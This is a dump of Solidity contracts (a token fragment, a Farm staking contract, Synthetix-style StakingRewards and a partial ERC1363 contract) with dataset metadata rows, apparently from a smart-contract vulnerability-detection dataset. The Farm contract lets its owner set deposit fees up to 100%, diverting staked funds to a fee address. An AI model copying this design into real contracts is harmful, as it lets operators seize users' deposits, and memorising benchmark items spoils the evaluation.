function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(13);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 74,563 | 10,957 |
ec64e3d24693db241cafa1dff9a04d35571a73f3f4e7c175a6752ee843e4b427
| 17,145 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/aa/aA973EA61Bf0A71032b3582D648BBe063148007F_Farm.sol
| 4,048 | 16,129 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IRewardToken is IERC20 {
function mint(address to, uint256 amount) external;
}
contract Farm is Ownable {
using SafeERC20 for IERC20;
struct User {
uint256 stakingBalance;
uint256 rewardDebt;
}
struct Pool {
IERC20 stakingToken;
uint256 allocPoints;
uint256 checkpoint;
uint256 accPerShare;
uint256 feeBP;
uint256 stakingTokenBalance;
}
// The token that rewards are given in.
IRewardToken public rewardToken;
// Fee address.
address public feeAddress;
// RewardToken tokens created per block.
uint256 public rewardPerSecond;
// Maximum number of allocation points for a pool.
uint256 public constant MAX_ALLOC_POINTS = 4000;
// Info of each pool.
Pool[] public pools;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => User)) public users;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoints = 0;
// The block time when rewardToken mining starts.
uint256 public immutable startTime;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(IRewardToken rewardToken_,
address feeAddress_,
uint256 rewardPerSecond_,
uint256 startTime_) {
rewardToken = rewardToken_;
feeAddress = feeAddress_;
rewardPerSecond = rewardPerSecond_;
startTime = startTime_;
}
function numberOfPools() external view returns (uint256) {
return pools.length;
}
function setRewardPerSecond(uint256 rewardPerSecond_) external onlyOwner {
// This MUST be done or pool rewards will be calculated with new rewardToken per second
// This could unfairly punish small pools that dont have frequent deposits/withdraws/harvests
massUpdatePools();
rewardPerSecond = rewardPerSecond_;
}
function checkForDuplicates(IERC20 stakingToken) internal view {
for (uint256 pid = 0; pid < pools.length; pid++) {
require(pools[pid].stakingToken != stakingToken, "add: pool already exists");
}
}
function add(IERC20 stakingToken, uint256 allocPoints, uint256 feeBP) external onlyOwner {
require(allocPoints <= MAX_ALLOC_POINTS, "add: alloc points exceed maximum");
require(feeBP <= 10000, "add: feeBP must not exceed 10000");
checkForDuplicates(stakingToken);
massUpdatePools();
uint256 checkpoint = block.timestamp > startTime ? block.timestamp : startTime;
totalAllocPoints += allocPoints;
pools.push(Pool({
stakingToken: stakingToken,
allocPoints: allocPoints,
checkpoint: checkpoint,
accPerShare: 0,
feeBP: feeBP,
stakingTokenBalance: 0
}));
}
function set(uint256 pid, uint256 allocPoints, uint256 feeBP) external onlyOwner {
require(allocPoints <= MAX_ALLOC_POINTS, "set: alloc points exceed maximum");
require(feeBP <= 10000, "set: feeBP must not exceed 10000");
massUpdatePools();
totalAllocPoints = totalAllocPoints - pools[pid].allocPoints + allocPoints;
pools[pid].allocPoints = allocPoints;
pools[pid].feeBP = feeBP;
}
function getMultiplier(uint256 from, uint256 to) public view returns (uint256) {
if (from > to) { return 0; }
if (to < startTime) { return 0; }
from = from > startTime ? from : startTime;
return to - from;
}
function pendingReward(uint256 pid, address userAddress) external view returns (uint256) {
Pool storage pool = pools[pid];
User storage user = users[pid][userAddress];
uint256 aps = pool.accPerShare;
if (block.timestamp > pool.checkpoint && pool.stakingTokenBalance > 0) {
uint256 time = getMultiplier(pool.checkpoint, block.timestamp);
uint256 reward = time * rewardPerSecond * pool.allocPoints / totalAllocPoints;
aps += reward * 1e12 / pool.stakingTokenBalance;
}
return user.stakingBalance * aps / 1e12 - user.rewardDebt;
}
function stakingBalance(uint256 pid, address userAddress) external view returns (uint256) {
return users[pid][userAddress].stakingBalance;
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
for (uint256 pid = 0; pid < pools.length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 pid) public {
Pool storage pool = pools[pid];
if (block.timestamp <= pool.checkpoint) {
return;
}
if (pool.stakingTokenBalance == 0) {
pool.checkpoint = block.timestamp;
return;
}
uint256 time = getMultiplier(pool.checkpoint, block.timestamp);
uint256 reward = time * rewardPerSecond * pool.allocPoints / totalAllocPoints;
rewardToken.mint(feeAddress, reward / 10);
rewardToken.mint(address(this), reward);
pool.accPerShare += reward * 1e12 / pool.stakingTokenBalance;
pool.checkpoint = block.timestamp;
}
function deposit(uint256 pid, uint256 amount) external {
Pool storage pool = pools[pid];
User storage user = users[pid][msg.sender];
updatePool(pid);
uint256 yield = user.stakingBalance * pool.accPerShare / 1e12 - user.rewardDebt;
if (yield > 0) {
safeRewardTokenTransfer(msg.sender, yield);
}
pool.stakingToken.safeTransferFrom(address(msg.sender), address(this), amount);
if (pool.feeBP > 0) {
uint256 fee = amount * pool.feeBP / 10000;
pool.stakingToken.safeTransfer(feeAddress, fee);
amount -= fee;
}
pool.stakingTokenBalance += amount;
user.stakingBalance += amount;
user.rewardDebt = user.stakingBalance * pool.accPerShare / 1e12;
emit Deposit(msg.sender, pid, amount);
}
function withdraw(uint256 pid, uint256 amount) external {
Pool storage pool = pools[pid];
User storage user = users[pid][msg.sender];
require(user.stakingBalance >= amount, "withdraw: insufficient balance");
updatePool(pid);
uint256 yield = user.stakingBalance * pool.accPerShare / 1e12 - user.rewardDebt;
if (yield > 0) {
safeRewardTokenTransfer(msg.sender, yield);
}
pool.stakingToken.safeTransfer(address(msg.sender), amount);
pool.stakingTokenBalance -= amount;
user.stakingBalance -= amount;
user.rewardDebt = user.stakingBalance * pool.accPerShare / 1e12;
emit Withdraw(msg.sender, pid, amount);
}
function emergencyWithdraw(uint256 pid) external {
Pool storage pool = pools[pid];
User storage user = users[pid][msg.sender];
uint oldUserAmount = user.stakingBalance;
pool.stakingTokenBalance -= oldUserAmount;
user.stakingBalance = 0;
user.rewardDebt = 0;
pool.stakingToken.safeTransfer(address(msg.sender), oldUserAmount);
emit EmergencyWithdraw(msg.sender, pid, oldUserAmount);
}
function safeRewardTokenTransfer(address to, uint256 amount) internal {
uint256 rewardTokenBalance = rewardToken.balanceOf(address(this));
if (amount > rewardTokenBalance) {
rewardToken.transfer(to, rewardTokenBalance);
} else {
rewardToken.transfer(to, amount);
}
}
function setFeeAddress(address feeAddress_) external {
require(msg.sender == feeAddress, "setFeeAddress: unauthorized");
feeAddress = feeAddress_;
}
}
| 321,094 | 10,958 |
c60da2dc25fcca0c2a6c0dcc24898a3d1ba77981d8260515e8be7d95006ff156
| 15,979 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/f6/f6d258c80e3781d9ef34df5c9b8d00bf9e503402_StakingRewards.sol
| 3,490 | 13,864 |
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IStakingRewards {
// Views
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function rewardsDistribution() external view returns (address);
function rewardsToken() external view returns (address);
function totalSupply() external view returns (uint256);
// Mutative
function exit() external;
function getReward() external;
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 7 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return block.timestamp < periodFinish ? block.timestamp : periodFinish;
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period");
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
| 120,396 | 10,959 |
cda683a021e4c27e035cf4c0eb8725f123c62bb43d643d16afcdc75f587f45b0
| 49,140 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xa042c9143c8758d2ad5a3fcc08dec39f6964453e.sol
| 5,684 | 22,805 |
pragma solidity ^0.5.9;
// File: openzeppelin-solidity/contracts/introspection/ERC165Checker.sol
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
function _supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
function _supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return _supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
function _supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!_supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
// success determines whether the staticcall succeeded and result determines
// whether the contract at account indicates support of _interfaceId
(bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
function _callERC165SupportsInterface(address account, bytes4 interfaceId)
private
view
returns (bool success, bool result)
{
bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);
// solhint-disable-next-line no-inline-assembly
assembly {
let encodedParams_data := add(0x20, encodedParams)
let encodedParams_size := mload(encodedParams)
let output := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(output, 0x0)
success := staticcall(30000, // 30k gas
account, // To addr
encodedParams_data,
encodedParams_size,
output,
0x20 // Outputs are 32 bytes long)
result := mload(output) // Load the result
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363.sol
contract IERC1363 is IERC20, ERC165 {
function transferAndCall(address to, uint256 value) public returns (bool);
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool);
function transferFromAndCall(address from, address to, uint256 value) public returns (bool);
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool);
function approveAndCall(address spender, uint256 value) public returns (bool);
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool);
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol
contract IERC1363Receiver {
function onTransferReceived(address operator, address from, uint256 value, bytes memory data) public returns (bytes4); // solhint-disable-line max-line-length
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol
contract IERC1363Spender {
function onApprovalReceived(address owner, uint256 value, bytes memory data) public returns (bytes4);
}
// File: erc-payable-token/contracts/payment/ERC1363Payable.sol
contract ERC1363Payable is IERC1363Receiver, IERC1363Spender, ERC165 {
using ERC165Checker for address;
bytes4 internal constant _INTERFACE_ID_ERC1363_RECEIVER = 0x88a7ca5c;
bytes4 internal constant _INTERFACE_ID_ERC1363_SPENDER = 0x7b04a2d0;
bytes4 private constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
bytes4 private constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
event TokensReceived(address indexed operator,
address indexed from,
uint256 value,
bytes data);
event TokensApproved(address indexed owner,
uint256 value,
bytes data);
// The ERC1363 token accepted
IERC1363 private _acceptedToken;
constructor(IERC1363 acceptedToken) public {
require(address(acceptedToken) != address(0));
require(acceptedToken.supportsInterface(_INTERFACE_ID_ERC1363_TRANSFER) &&
acceptedToken.supportsInterface(_INTERFACE_ID_ERC1363_APPROVE));
_acceptedToken = acceptedToken;
// register the supported interface to conform to IERC1363Receiver and IERC1363Spender via ERC165
_registerInterface(_INTERFACE_ID_ERC1363_RECEIVER);
_registerInterface(_INTERFACE_ID_ERC1363_SPENDER);
}
function onTransferReceived(address operator, address from, uint256 value, bytes memory data) public returns (bytes4) { // solhint-disable-line max-line-length
require(msg.sender == address(_acceptedToken));
emit TokensReceived(operator, from, value, data);
_transferReceived(operator, from, value, data);
return _INTERFACE_ID_ERC1363_RECEIVER;
}
function onApprovalReceived(address owner, uint256 value, bytes memory data) public returns (bytes4) {
require(msg.sender == address(_acceptedToken));
emit TokensApproved(owner, value, data);
_approvalReceived(owner, value, data);
return _INTERFACE_ID_ERC1363_SPENDER;
}
function acceptedToken() public view returns (IERC1363) {
return _acceptedToken;
}
function _transferReceived(address operator, address from, uint256 value, bytes memory data) internal {
// solhint-disable-previous-line no-empty-blocks
// optional override
}
function _approvalReceived(address owner, uint256 value, bytes memory data) internal {
// solhint-disable-previous-line no-empty-blocks
// optional override
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
